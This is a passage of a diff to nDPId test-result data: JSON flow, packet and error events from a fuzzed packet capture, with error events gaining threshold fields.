type","datalink":1,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470298331768} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470298331768,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470298331768} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470284937812,"pkt":"qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":358,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":9587,"global_ts_usec":1120470299325295} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470299325295,"packet_id":358,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":9587,"global_ts_usec":1120470299325295} 00404{"packet_event_id":1,"packet_event_name":"packet","packet_id":358,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":9587,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470284937812,"pkt":"ADBUADRWAODtAW69JXMAAABIauUAAIARTGzAqFwCwKgBAQrSADUANCnz\/\/8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00734{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":359,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":136,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470301328331,"flow_src_last_pkt_time":1120470301328331,"flow_dst_last_pkt_time":1120470301328331,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":52,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":52,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":52,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470301328331,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":127,"flow_datalink":1,"flow_max_packets":3} 00570{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_src_last_pkt_time":1120470301328331,"flow_dst_last_pkt_time":1120470301328331,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470301328331,"pkt":"ADBUADRWAODtAW69CABFAABIauYAAIB\/TGvAqAECwKgBAQrSADUANCnz\/\/8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJYnliZXJjaXR5AmRrAAAhAAE="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":360,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":137,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470303331030,"flow_src_last_pkt_time":1120470303331030,"flow_dst_last_pkt_time":1120470303331030,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470303331030,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2770,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00569{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_src_last_pkt_time":1120470303331030,"flow_dst_last_pkt_time":1120470303331030,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470303331030,"pkt":"ADBUADRWAODtAW69CABFBABIaucAAIARTGrAqAECwKgBAQrSADUANCnz\/\/8BAAABAAAAAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 01109{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":360,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":137,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470303331030,"flow_src_last_pkt_time":1120470303331030,"flow_dst_last_pkt_time":1120470303331030,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470303331030,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2770,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":361,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120470303562349} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470303562349,"packet_id":361,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120470303562349} 00419{"packet_event_id":1,"packet_event_name":"packet","packet_id":361,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120470303331030,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAFhOaugAAIARS2XAqAECwKgB\/wCJAIkAOlt2hSUBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} 00768{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":362,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":138,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470304312412,"flow_src_last_pkt_time":1120470304312412,"flow_dst_last_pkt_time":1120470304312412,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470304312412,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"120.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00584{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_src_last_pkt_time":1120470304312412,"flow_dst_last_pkt_time":1120470304312412,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120470304312412,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABO7ukAAIARS2TAqAECeKgB\/wCJAIkAOlt2hSUBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUKqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00898{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":362,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":138,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470304312412,"flow_src_last_pkt_time":1120470304312412,"flow_dst_last_pkt_time":1120470304312412,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470304312412,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"120.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System","hostname":"eci_doma"}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":363,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470305063494} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470305063494,"packet_id":363,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470305063494} 00415{"packet_event_id":1,"packet_event_name":"packet","packet_id":363,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120470304312412,"pkt":"\/\/\/\/qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00569{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":2,"flow_src_last_pkt_time":1120470307336934,"flow_dst_last_pkt_time":1120470303331030,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470307336934,"pkt":"AFNUADRWAEjtAW69CABFAABIausAAIARTGbAqAECwKgBAQrSADUANCnz\/\/8BAABGAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01117{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":364,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":137,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470303331030,"flow_src_last_pkt_time":1120470307336934,"flow_dst_last_pkt_time":1120470303331030,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470307336934,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2770,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} @@ -933,7 +933,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":366,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":140,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470315340201,"flow_src_last_pkt_time":1120470315340201,"flow_dst_last_pkt_time":1120470315340201,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470315340201,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2771,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00594{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_src_last_pkt_time":1120470315340201,"flow_dst_last_pkt_time":1120470315340201,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"thread_ts_usec":1120470315340201,"pkt":"AODtAW68ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CtMARwmH\/eCAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQBhJxAACwlsb2NhbGhvc3QA"} 01012{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":366,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":140,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470315340201,"flow_src_last_pkt_time":1120470315340201,"flow_dst_last_pkt_time":1120470315340201,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470315340201,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2771,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.arpa","dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":367,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":13,"global_ts_usec":1120470315341351} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470315341351,"packet_id":367,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":13,"global_ts_usec":1120470315341351} 00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":367,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":47,"pkt_l4_len":0,"thread_ts_usec":1120470315340201,"pkt":"ADBUADRWAODtAW69CABFAAAhau0AUoARGB8NqAEC1PIhIxPEE8QADcBLICAgNiA="} 00771{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":368,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":141,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470315653366,"flow_src_last_pkt_time":1120470315653366,"flow_dst_last_pkt_time":1120470315653366,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":201,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":201,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":201,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470315653366,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00788{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_src_last_pkt_time":1120470315653366,"flow_dst_last_pkt_time":1120470315653366,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"thread_ts_usec":1120470315653366,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAADlau4AAIARSsjAqAECwKgB\/wCKAIoA0VstEQ6FJ8CoAQIAigC7AAAgRUVEQURBRENERURHREZDtkNBQ0FDQUNBQ0FDQUNBQ0EAIEVGRURFSkZQRUVFOEVORUJFSkVPQ0FDQUNBQ0FDQUJOAP9TTUIlNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIQAAAAAAAAAAAOgDAAAAAAAAAAAhBFYAAwABAAAAAgA2AFxNQUlMU0xPVFxCUk9XU0UAAQCA\/AoARDAwMjQ2NQAAAAAAAAAAAAUAA2EAAA8BVaoA"} @@ -969,7 +969,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":376,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":144,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470344560828,"flow_src_last_pkt_time":1120470344560828,"flow_dst_last_pkt_time":1120470344560828,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470344560828,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2773,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00563{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_src_last_pkt_time":1120470344560828,"flow_dst_last_pkt_time":1120470344560828,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"thread_ts_usec":1120470344560828,"pkt":"ADBUADRWAODtAW69CABFAABEavQAAIARTEHAqAECwKgBAQrVADUAMLAHdOoEAAABAAAAAAAAATEBMAEwAzEyNwdpTC1hZGRyBGFycGEAAAwAAQ=="} 01012{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":376,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":144,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470344560828,"flow_src_last_pkt_time":1120470344560828,"flow_dst_last_pkt_time":1120470344560828,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470344560828,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2773,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.il-addr.arpa","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":377,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470344562295} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470344562295,"packet_id":377,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470344562295} 00428{"packet_event_id":1,"packet_event_name":"packet","packet_id":377,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"thread_ts_usec":1120470344560828,"pkt":"AODtAW69ADBUADRWCABFAABbAACGAEARtz7AqAEBwKgBAgA1CtUAR5KDdOKAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} 00767{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":382,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":112,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470170646619,"flow_src_last_pkt_time":1120470170646619,"flow_dst_last_pkt_time":1120470170646619,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470352381647,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2640,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01031{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":382,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":111,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120470158623642,"flow_src_last_pkt_time":1120470158623642,"flow_dst_last_pkt_time":1120470158625217,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":63,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":63,"midstream":0,"thread_ts_usec":1120470352381647,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2757,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -1020,7 +1020,7 @@ 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":390,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":148,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470385615843,"flow_src_last_pkt_time":1120470385615843,"flow_dst_last_pkt_time":1120470385615843,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470385615843,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2776,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":2,"flow_src_last_pkt_time":1120470386610998,"flow_dst_last_pkt_time":1120470385615843,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470386610998,"pkt":"ADBUADRWAODtAW69CABFAABIawUAAKARTEzAqAECwKgBAQrYADUANEcJLuMBAAABAAAAAAAABV9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01118{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":391,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":148,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470385615843,"flow_src_last_pkt_time":1120470386610998,"flow_dst_last_pkt_time":1120470385615843,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470386610998,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2776,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":392,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470388613748} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470388613748,"packet_id":392,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470388613748} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":392,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470386610998,"pkt":"ADBUADSqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":3,"flow_src_last_pkt_time":1120470390616811,"flow_dst_last_pkt_time":1120470385615843,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470390616811,"pkt":"ADBUADRWAODtAW69CABFAABIawsAAIARTEbAqAECwKgBAQrYADUANPsJLuMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 